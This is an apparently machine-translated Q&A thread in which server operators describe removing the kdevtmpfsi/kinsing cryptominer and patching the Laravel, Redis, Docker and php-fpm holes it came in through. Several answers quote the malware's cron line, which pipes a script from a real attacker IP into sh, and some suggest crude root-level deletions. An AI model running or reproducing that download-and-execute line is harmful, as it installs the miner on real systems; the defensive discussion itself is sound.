kdevtmpfsi 使用整个 CPU

Question

我们正在为运行使用 EC2(Ubuntu) 亚马逊实例 Apache.Recently 我们注意到有一个进程使用整个 CPU.

我们使用以下程序将其删除

[root@hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
   Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5772.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
   CGroup: /user.slice/user-0.slice/session-5772.scope
           ├─19331 /var/tmp/kinsing
           └─25177 /tmp/kdevtmpfsi

Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root@hadoop002 tmp]# ps -ef|grep kinsing
root     19331     1  0 16:06 ?        00:00:04 /var/tmp/kinsing
root     25190 23274  0 17:27 pts/0    00:00:00 grep --color=auto kinsing
[root@hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root     25177     1 99 17:27 ?        00:01:47 /tmp/kdevtmpfsi
root     25197 23274  0 17:28 pts/0    00:00:00 grep --color=auto kdevtmpfsi
[root@hadoop002 tmp]# kill -9 19331
[root@hadoop002 tmp]# kill -9 25177
[root@hadoop002 tmp]# rm -rf kdevtmpfsi
[root@hadoop002 tmp]# cd /var/tmp/
[root@hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root        0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root    13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root     4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root@hadoop002 tmp]# rm -rf kinsing

但几分钟后，它又自动启动了。有人知道如何解决这个问题吗？

Answer 1

这里提到的解决方案对我们有用。你基本上创建了矿工使用的文件，没有任何权限，因此矿工无法创建和使用它们。 https://github.com/docker-library/redis/issues/217

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "everything is good here" > /tmp/kdevtmpfsi

echo "everything is good here" > /var/tmp/kinsing

touch /tmp/zzz

echo "everything is good here" > /tmp/zzz

chmod go-rwx /var/tmp

chmod 1777 /tmp

Answer 2

这里的另一个答案很好，你应该按照那里提到的一切去做。但是，如果问题一直出现，and/or 你实际上并没有使用 Docker，你可能在 phpUnit 中有一个未修补的 RCE 漏洞。详情在这里：

https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487

我们的情况是：

Docker 根本没有被使用。
我们已经删除了所有与矿工相关的文件。
我们使用上面的 touch 和 chmod 命令锁定了东西。
这该死的东西一直试图运行在看似随机的时间。

通过 touch/chmod 更改锁定内容后，它实际上什么也做不了，但它仍然很烦人，而且 phpUnit 漏洞是一个巨大的漏洞，无论如何都需要堵塞。

希望对您有所帮助。

Answer 3

我发现上述所有解决方案都有帮助，但它们似乎都是临时解决方案，因为我们需要监控实例，如果我们发现任何恶意 activity 然后再次执行相同的过程。

我在大约 1 个月前遇到过这个病毒，并应用了上述所有解决方案，在之后的有限时间内工作正常，它会再次出现。

即使我没有在系统中安装 docker 所以 docker 打开 API 端口不是问题。

但是有一些开源软件是亲情的大门。

PhpMailer 和 Solr 有一些 Remote Code Exec 漏洞导致了整个问题。

简单的解决方案是将您的 Solr 版本升级到 8.5.1，您还可以设置一项安全措施，这将 100% 删除病毒并且它将是永久性的。

完整解释如下：https://github.com/amulcse/solr-kinsing-malware

Answer 4

装完运行Flink Cluster 就和它面对面了。似乎我们受到了恶意软件的攻击，它试图使用我们服务器的 cpu 到运行程序来挖掘硬币。

我的解决方案如下：

先杀程序是运行ning:
- 运行 htop 然后按 F9 终止程序。我们还必须杀死 kdevtmpfsi 和 kinsing。
删除将成为运行的恶意软件文件并使用整个 CPU （用我的centos 7）

find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

结果应该是：

/tmp/kdevtmpfsi is removed
/var/tmp/kinsing is removed

创建同名文件：

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
echo "kinsing is fine now" > /var/tmp/kinsing
现在使用以下命令将两个文件设为只读:

chattr +i /tmp/kdevtmpfsi chattr +i /var/tmp/kinsing

** 您应该重新启动您的服务器。如果它的问题出在远程服务器上，而您正在使用指定端口连接到它，您可以更改为 ssh 端口以提高安全性！

Answer 5

也许这对某些人有用。我找到了 kinsing/kdevtmpfsi:

的一些其他条目

/etc/kinsing

/usr/lib/systemd/system/bot.service

在bot.service中：

ExecStart=/etc/kinsing

我刚刚按照此步骤的说明操作，删除了两个文件，重新启动了服务器。

希望对大家有所帮助。我花了一整天的时间试图解决它。

Answer 6

我发现这个解决方案可以暂时停止来自运行ning 的进程（不使用 Docker/Redis，所以这个漏洞很可能在 phpunit 中）：

/bin/setfacl -m u:www-data:--- /tmp/kinsing
/bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi

它将阻止用户 www-data（在我的例子中，他运行正在执行该进程）执行脚本。

此外，您很可能会在用户 www-data 下添加一个 cronjob - 删除它并运行 service cron restart!

记住，那是临时 fix/hack。您必须更新易受攻击的软件才能永久删除此线程！

Answer 7

我已经和这个矿工斗争了几天，在我的情况下是 php-fpm:9000 端口暴露了。
我想可以通过这种方式远程注入一些代码。

因此，如果您使用 docker & php-fpm，请不要运行 您的容器：

docker run -v /www:/var/www -p 9000:9000 php:7.4

去掉端口映射：~~-p 9000:9000~~

不要忘记重新构建并重新启动容器。

这里有更多详细信息： https://github.com/laradock/laradock/issues/2451#issuecomment-577722571

Answer 8

我遇到了这个问题，我通过运行以下命令解决了它：

首先以 root 身份登录并删除拥有该进程的用户，在您的情况下是 www-data

sudo deluser --remove-home www-data

秒杀用户进程

killall --user www-data

Answer 9

我也受到了这个恶意软件的影响，我没有使用 Docker 或运行 PHPUnit 漏洞。我找到这个 post:

https://www.ambionics.io/blog/laravel-debug-rce

描述在调试模式下使用 Laravel 时 facade/ignition < 2.5.2 中存在漏洞。

Laravel .env 文件的摘录：

...
APP_DEBUG=true
...

使用 Composer 将 facade/ignition 更新到版本 > 2.5.1 并停止恶意软件（其他答案中描述的步骤）后，它没有恢复。

Laravelcomposer.json 文件的摘录

...
"facade/ignition": "^2.5.1",
...

...然后运行命令

composer update facade/ignition

也许它可以帮助其他人运行宁 Laravel 应用程序和面对这个问题。

Answer 10

我在 Centos 8 中遇到了与 Laravel 相同的问题，这是我删除恶意软件和修补系统所遵循的步骤。

从系统中删除恶意软件的步骤：第 1 步：

删除恶意软件：
使用 htop 或任何其他进程管理器终止这两个进程（kdevtmpfsi 和 kinsing - 它们可以使用相同的名称，但末尾带有随机字符-）。

htop F3 to search services kdevtmpfsi And kinsing

使用以下方法查找并删除文件：

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

输出应如下所示：

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

第 2 步：

检查 cron 作业：
检查是否有 cron 作业会重新初始化恶意软件。
我在以下位置找到了我的：/var/spool/cron/apache >

UBUNTU /var/spool/cron/crontabs/www-data

它包括以下内容：
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

第 3 步：

新建文件并设为只读：

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

正在修补 Laravel 项目：第 1 步：

关闭APP_DEBUG:
确保 APP_DEBUG 属性是 .env 中的 false，因为这是漏洞获取访问的方式。

第 2 步：

更新点火：
将 ignition 更新到高于 2.5.1 的版本以确保漏洞已修补。
运行项目文件夹中的以下内容：

$ composer update facade/ignition

Answer 11

删除恶意软件文件 /tmp/kinsing & /tmp/kdevtmpfsi 后，我在 Ubuntu 18.04.5 LTS 中也面临同样的问题。

修复此问题创建了 bash 脚本并将 cronjobs 设置为运行。

我的解决方案如下：

先杀程序是运行ning:

运行 htop 然后按 F9 终止程序。我们还必须杀死 kdevtmpfsi 和 kinsing。

删除恶意软件文件运行并使用整个 CPU

#!/bin/bash

# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID


# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID


# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID


# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID

# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

保存这个文件（一些-script.sh）为此配置cronjobs

第 1 步：使用以下命令打开 crontab（cron 编辑器）。

$ crontab -e

第 2 步：如果这是您第一次访问 crontab，您的系统可能会询问您更喜欢使用哪个编辑器。在这个例子中，我们将使用 nano（输入 1 然后回车），因为它最容易理解。

$ crontab -e
no crontab for linuxconfig - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]:

第 3 步：在此文件的底部新建一行并插入以下代码。当然，将我们的示例脚本替换为您希望执行的命令或脚本，但保留 */5 * * * * 部分，因为它告诉 cron 每 5 分钟执行一次我们的作业。

*/5 * * * * /path/to/some-script.sh

第 4 步：退出此文件并保存更改。要在 nano 中执行此操作，您需要按 Ctrl + X、Y，然后按 Enter。

仅此而已。在 cron 中安排作业将运行每 5 分钟

Answer 12

在我的例子中，它运行来自 www-data 用户：帮助这个：

sudo crontab -u www-data -e

删除此行（cron 作业）：

* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Answer 13

好的，我和你们很多人都面临着同样的问题。但是作为 postgres 用户，我的过程是运行ning。我怀疑是因为我打开了所有传入连接。

是的，我的错。

在尝试了以上所有解决方案后，none 似乎可以永久修复它。它只是以略有不同的名称再次产卵。真的一点运气都没有。

首先 - 防止任何其他连接。

首先，限制 postgres 配置文件中的连接。

通常在这里找到。 /etc/postgresql/12/main/postgresql.conf

创建一个脚本来终止和删除 kdevtmpfsi

然后在您选择的位置创建一个新的 bash 脚本..

nano kill.sh

使用以下内容填充文件。

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*

按ctrl + c退出

kill 将终止进程，接下来的 4 个命令应删除文件。

我们需要使文件可执行

chmod +x kill.sh

如期设置为运行

好的，现在如果我们将其设置为每分钟运行的 cron 作业，应该有助于解决问题。（不是一个优雅的解决方案，但它有效）

sudo crontab -e

上面的命令打开了 crontab，我们可以在其中按设定的时间间隔将计划任务定义为运行。

将此附加到最后。

* * * * * sh {absolutepath}kill.sh > /tmp/kill.log

即

* * * * * sh /home/user/kill.sh > /tmp/kill.log

crontab 条目的作用

* * * * * 设置时间 - 这意味着每分钟

sh /home/user/kill.sh 运行kill 脚本

&

> /tmp/kill.log 将任何输出写入文件。

我知道这不是一个好的解决方案。但它有效。

Answer 14

在某些情况下，这可能是由于 Laravel <= v8.4.2 软件包 facade/ignition 中发现的安全漏洞所致。 CVE-2021-3129

这里有一篇文章解释了恶意软件的工作原理：Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

这个问题已经在这个包的 2.4.2 版本中解决了。 (facade/ignition)

如果我处在你的位置，我会认为你的实例受到威胁并创建一个新实例。在我所做的测试中，恶意软件会改变位置并适应对系统所做的更改以试图阻止它。

Answer 15

似乎有许多攻击媒介可以将此恶意软件加载到服务器上。在我的例子中，恶意软件通过 docker:

到达机器

# locate kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi

Docker 默认情况下公开容器端口，这是相当不幸的。要修复它，您需要删除恶意软件和补丁 docker:

# First, stop all docker containers
$ docker stop $(docker ps -aq)
# Prune all images just for a good measure
$ docker system prune

# Kill current malware process
$ ps aux | grep kdevtmpfsi
70       21686  393 29.3 2873416 2402832 ?     Ssl  22:01  19:22 /tmp/kdevtmpfsi116044092
$ kill -9 21686
# Remove any files with the name kdevtmpfsi
$ find / -iname kdevtmpfsi* -exec rm -fv {} \;
# You might need to repeat the last two commands couple times just in case 

# Stop exposing docker ports with the use of IP tables
$ iptables -I DOCKER-USER -i eth0 -j DROP
$ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT

# If no new kdevtmpfsi processes appear you should be good.

恶意软件正在适应，这里的许多解决方案不再有效。尝试几种方法，直到您弄清楚我们的案例中的攻击媒介是什么。

Answer 16

所以，在我工作的平台上，我们在 ECS2 实例上遇到了同样的问题。但我们的罪魁祸首是 Redis，有人在前一天忘记设置密码，到早上我们醒来时看到仪表板通知我们 CPU 使用率出现奇怪的峰值。

如果您想验证恶意软件是否仍然运行ning，运行 ps 辅助 | grep -v grep | grep 'kinsing|kdevtmpfsi' 如果它输出任何内容，则表示它正在以某种形式执行。

我们的解决方案是：在我们的 Redis 数据库中，我们删除了一堆名为“backup1”、“backup2”、“backup3”、“backup4”的键。

然后我们ssh到服务器并使用

sudo su root
ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print }' | xargs -I % kill -9 %
rm -dr /tmp/kdevtmpfsi
rm -dr /var/tmp/kdevtmpfsi

我们还设法通过 Redis 和 crontab 下载了计划一直执行的脚本，我想这就是我们试图删除它时一遍又一遍地重新安装该死的恶意软件的原因，它制作得很好，除了试图禁用 SELinux 和 apparmor 以及其他一些重要的东西外，它还会杀死它检测到的其他矿工。真是了不起的东西。

我把它贴在这里： https://pastebin.com/jiifURXy

Answer 17

如果您尝试了上述所有方法但病毒仍然出现，也许是换了一个新名称，您应该检查服务器打开的端口，这就是恶意软件进入您的服务器的地方。

为了安全起见，您应该：

启动防火墙。
如果您需要访问远程服务器的某些端口，请使用Port Forwarding技术。

这将使您的服务器安全，不再需要 kdevtmpfsi。

Answer 18

对于 AWS 用户，在实例安全性中删除允许所有端口 (0.0.0.0/0) 作为出站。

Answer 19

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
kill $(pgrep dbused)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
find / -iname dbused -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
rm /tmp/dbused*
ps -ef | grep “givemexyz” | awk ‘{print }’| xargs pkill
ps -ef | grep “dbuse” | awk ‘{print }’| xargs pkill
rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg

和

crontab -u gitlab -e

删除* * * * * (curl -fsSL $url/xms||wget -q -O-

kdevtmpfsi 使用整个 CPU

kdevtmpfsi using the entire CPU

linux

ubuntu

amazon-ec2

malware

从系统中删除恶意软件的步骤：第 1 步：

第 2 步：

第 3 步：

正在修补 Laravel 项目：第 1 步：

第 2 步：

首先 - 防止任何其他连接。

创建一个脚本来终止和删除 kdevtmpfsi

如期设置为运行

crontab 条目的作用

kdevtmpfsi 使用整个 CPU

kdevtmpfsi using the entire CPU

linux

ubuntu

amazon-ec2

malware

从系统中删除恶意软件的步骤： 第 1 步：

第 2 步：

第 3 步：

正在修补 Laravel 项目： 第 1 步：

第 2 步：

首先 - 防止任何其他连接。

创建一个脚本来终止和删除 kdevtmpfsi

如期设置为运行

crontab 条目的作用

从系统中删除恶意软件的步骤：第 1 步：

正在修补 Laravel 项目：第 1 步：